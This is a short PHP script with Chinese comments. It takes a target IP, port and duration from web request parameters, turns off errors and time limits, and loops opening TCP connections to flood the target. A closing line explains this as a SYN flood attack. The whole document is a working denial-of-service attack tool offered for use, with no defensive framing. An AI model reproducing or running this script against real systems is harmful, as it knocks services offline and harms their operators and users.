ini_set("display_errors", "Off"); //关闭错误显示
$packets = 0;
$ip = $_REQUEST['ip'];//接收提交参数IP值,保存攻击目标IP
$port = $_REQUEST['port'];//接收提交参数port值,保存攻击目标端口
set_time_limit(0);//设置超时为无限
ignore_user_abort(FALSE);//客户机断开终止脚本的执行
$exec_time = $_REQUEST['time'];//接收提交参数time值,保存攻击运行时间
$time = time();//获得当前时间
print "状态 : 正常运行中.....
";
$max_time = $time+$exec_time;//计算运行到什么时间
while(1){
$packets++;//用于保存发了多少包
if(time() > $max_time){ //判断是否到终止时间,到了则退出
break;
}
$fp = fsockopen("tcp://$ip", $port,$errno,$errstr,0); //向目标IP端口发包攻击
}
通过time参数指定一段时间,循环不停的访问指定ip的指定端口。造成SYN Flood攻击